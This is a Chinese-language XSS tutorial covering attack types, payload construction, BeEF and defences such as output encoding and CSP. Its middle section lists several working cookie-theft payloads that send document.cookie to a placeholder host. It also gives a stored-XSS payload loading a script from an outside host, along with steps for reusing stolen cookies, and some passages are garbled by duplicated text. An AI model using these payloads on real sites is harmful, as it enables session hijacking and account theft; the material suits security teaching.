1、XSS简介
跨站脚本(cross site script)为了避免与样式css混淆,简称xss。xss是一种经常出现在web应用的计算机安全漏洞,也是web中最主流的攻击方式。是指恶意攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式
XSS攻击的危害包括:
1、盗取各类用户账号,如机器登录账号、用户网银账号、各类管理员账号
2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
3、盗窃企业重要的具有商业价值的资料
4、非法转账
5、强制发送电子邮件
6、网站挂马
7、控制受害者机器向其它网站发起攻击
2、原理解析
XSS主要原因:
过于信任客户端提交的数据!
XSS主要分类:
反射型XSS攻击(reflected xss),又称为非持久型跨站点脚本攻击,它是最常见类型的攻击。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久型xss包含一个带xss攻击向量的链接,即每次攻击需要用户的点击。
存储型XSS(stored xss)又称为持久型跨站点脚本,他一般发生在xss攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相对非持久型XSS攻击危害性更大,因为每当用户打开页面,查看内容时内容将自动执行。
3、构造XSS脚本
3.1 常用HTML标签
1 <iframe> 创建包含另外一个文档的内联框架2 <textarea> 定义多行的文本输入控件3 <img> 元素向网页中嵌入一幅图像4 <script> 用于定义客户端脚本,比如JavaScript。
3.2 常用JavaScript方法
1 alert 用于显示带有一条指定消息和一个确认按钮的告警框 2 window.location 用于获得当前的页面地址,并把浏览器重定向到新的页面 3 location.href 返回当前显示的文档完整URL 4 onload 一张页面或一幅图像完成加载 5 onsubmit 确认按钮被点击 6 onerror 在加载文档或图像是发生错误 7 confirm(“123”) 确认弹窗 8 prompt(“abc”) 提示弹窗 9 document.cookie 读取cookie
3.3 构造XSS脚本
此脚本实现弹框提示,一般作为漏洞测试或者演示使用,一旦此脚本能执行,也就意味后端服务器没有对特殊字符做过滤 大小写 xs
1 收集用户cookie,打开新窗口并且采用本地cookie访问目标网页,打开新窗口并且采用本地cookie访问目标网页 2 <script>window.open('http://abc.com/cookie.php?cookie=' +document.cookie)</script> 3 <script>document.location="http://abc.com/cookie.php?cookie="+document.cookie</script> 4 <script> new Image().src="http://abc.com/cookie.php?cookie="+document.cookie;</script> 5 <img src="http://abc.com/cookie.php?cookie='+document.cookie"></img> 6 <iframe src="http://abc.com/cookie.php?cookie="+document.cookie"></iframe> 7 <script>new Image().src="http://abc.com/cookie.php?cookie='+document.cookie"; 8 img.width=0; 9 img.height=0;10 </script>
存储型XSS攻击演示
1、构建收集cookie服务器
2、构造XSS代码并植入到WEB服务器
3、等待肉鸡触发XSS代码并将cookie发送到收集cookie服务器
4、cookie利用
构建cookie收集语句
1 </tExtArEa>'"><sCRiPt sRC=https://xss9.com/z1Yx></sCrIpT>
将此语句插入到留言板上,
当有其他用户登录后访问留言板后,会自动执行此前插入的JS脚本,将当前用户的cookie发送到远程服务器上
拿到cookie后,就可以使用该cookie进行身份认证。此处使用谷歌浏览器中的modheader插件来利用cookie,不用认证直接跳转到已认证的页面
4、自动化XSS
4.1 BeEF简介
Browser Exploitation Framework(BeEF),是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透;基于Ruby语言编写的,并且支持图形化界面,操作简单。
信息收集
1、网络发现
2、主机信息
3、cookie获取
4、会话劫持
5、键盘记录
6、插件信息
持久化控制
1、确认弹框
2、小窗口
3、中间人
社会工程
1、点击劫持
2、弹窗告警
3、虚假页面
4、钓鱼页面
渗透攻击
1、内网渗透
2、metasploit
3、CSRF攻击
4、DDoS攻击
4.2 BeEF基础
1 service apache2 start
预防XSS攻击几种办法
1、X-XSS-Protection设置
目前该属性被所有的主流浏览器默认开启XSS保护。该参数是设置在响应头中目的是用来防范XSS攻击的。它有如下几种配置:
值有如下几种:默认为1.
0:禁用XSS保护。
1:启用XSS保护。
1;mode=block; 启用xss保护,并且在检查到XSS攻击是,停止渲染页面。
2、XSS防御HTML编码、HTML Attribute编码
我们为什么要防御HTML编码、HTML Attribute编码呢?比如如下html代码:
content
,在div标签中存在一个输出变量content,在div标签中存在一个输出变量{content}. 那么浏览器在解析的过程中,首先是html解析,当解析到div标签时,再解析 content的内容,然后会将页面显示出来。那假如该content的内容,然后会将页面显示出来。那假如该{content} 的值是 这样的呢?因此该script脚本就会解析并且执行了,从而达到XSS的攻击目标。
因此我们需要将不可信数据放入到html标签内(比如div、span等)的时候需要进行html编码。
编码规则:将 & < > " ’ / 转义为实体字符。
3、XSS防御之javascript编码
在上面的 XSS 防御HTML Attribute编码中我们是可以防御XSS攻击,但是它只能防御的是HTML通用属性,并不是全部属性,在html中还存在很多支持协议解析的html属性,比如 onclick, onerror, href, src 等这些,类似这些属性我们是无法通过HTML编码来防范XSS攻击的。因为浏览器会先解析html编码的字符,将其转换为该属性的值,但是该属性本身支持JS代码执行,因此游览器在HTML解码后,对该属性的值进行JS解析,因此会执行响应的代码。
4、XSS 防御之 URL 编码
作用范围:将不可信数据作为 URL 参数值时需要对参数进行 URL 编码
编码规则:将参数值进行 encodeURIComponent 编码
5、XSS 防御之 CSS 编码
作用范围:将不可信数据作为 CSS 时进行 CSS 编码
比如:通过css构造(background-img:url\expression\link-href@import)
6、开启CSP网页安全政策防止XSS攻击
Content-Security-Policy 中文的意思是网页安全政策。
CSP是网页安全政策(Content Security Policy)的缩写。主要用来防止XSS攻击。是一种由开发者定义的安全性政策申明,通过CSP所约束的责任指定可信的内容来源,通过 Content-Security-Policy 网页的开发者可以控制整个页面中 外部资源 的加载和执行。
我们只需要在meta属性中设置下即可使用:如下代码:
<meta http-equiv="Content-Security-Policy" content="">
此篇文章由DurkBlue发布,麻烦转载请注明来处